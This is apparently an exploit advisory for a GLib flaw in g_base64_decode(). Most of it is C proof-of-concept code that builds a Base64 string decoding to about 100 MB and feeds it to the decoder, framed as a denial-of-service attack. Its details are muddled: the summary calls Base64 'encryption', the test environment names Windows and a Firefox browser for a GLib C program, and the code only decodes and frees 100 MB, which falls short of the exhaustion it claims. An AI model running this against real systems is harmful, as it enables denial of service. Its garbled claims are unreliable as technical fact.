=============================================================================================================================================
| # Title     : Unbounded Base64 Decoding in GLib Leading to Memory Exhaustion                                                              |
| # Author    : indoushka                                                                                                                   |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits)                                                            |
| # Vendor    : https://www.ubuntu.com/                                                                                                     |
=============================================================================================================================================

[+] References : https://packetstorm.news/files/id/215078/  & CVE-2026-1484, CVE-2026-1485, CVE-2026-1489

[+] Summary    : The g_base64_decode() function in the GLib library fails to enforce input size limits, allowing attackers to input extremely large Base64-encrypted data, resulting in uncontrolled memory allocation.
                 This vulnerability can be exploited by providing a specially crafted, but syntactically correct, Base64 string that is decrypted into an extremely large binary store. 
				 Upon processing, the function allocates memory proportional to the size of the decrypted output without applying upper limits or quota checks, potentially leading to memory exhaustion (a denial-of-service attack).
                 The provided proof of concept (PoC) demonstrates how to successfully generate and process a large Base64 payload (e.g., decrypting to approximately 100 MB), 
				 overwhelming the target system's memory and revealing the lack of protection limits in the decryption routine.
                 No memory damage is required; the exploit relies entirely on resource exhaustion.
  
[+] POC :   gcc exploit_cve_2026_1484.c -o exploit_cve_2026_1484 `pkg-config --cflags --libs glib-2.0`

#include <glib.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char* generate_malicious_base64(size_t decoded_target_size, size_t *out_b64_len) {

    size_t full_blocks = decoded_target_size / 3;
    size_t remainder   = decoded_target_size % 3;

    size_t b64_len = full_blocks * 4;
    if (remainder) b64_len += 4;

    char *buffer = malloc(b64_len + 1);
    if (!buffer) return NULL;

    memset(buffer, 'Q', b64_len);

    // Proper padding
    if (remainder == 1) {
        buffer[b64_len - 1] = '=';
        buffer[b64_len - 2] = '=';
    } else if (remainder == 2) {
        buffer[b64_len - 1] = '=';
    }

    buffer[b64_len] = '\0';

    if (out_b64_len) *out_b64_len = b64_len;
    return buffer;
}

void trigger_vulnerability() {
    printf("[*] Testing CVE-2026-1484 - Large Base64 parsing\n");

    size_t decoded_target = 1024 * 1024 * 100;
    size_t base64_len = 0;

    char *large_base64 = generate_malicious_base64(decoded_target, &base64_len);
    if (!large_base64) {
        printf("[-] Failed to allocate Base64 buffer\n");
        return;
    }

    printf("[+] Generated Base64 input: %zu bytes\n", base64_len);

    gsize decoded_len = 0;
    guchar *decoded_data = g_base64_decode(large_base64, &decoded_len);

    printf("[+] Decoded output size: %zu bytes\n", decoded_len);

    if (decoded_data) g_free(decoded_data);
    free(large_base64);

    printf("[*] PoC execution finished\n");
}

int main() {
    trigger_vulnerability();
    return 0;
}


Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================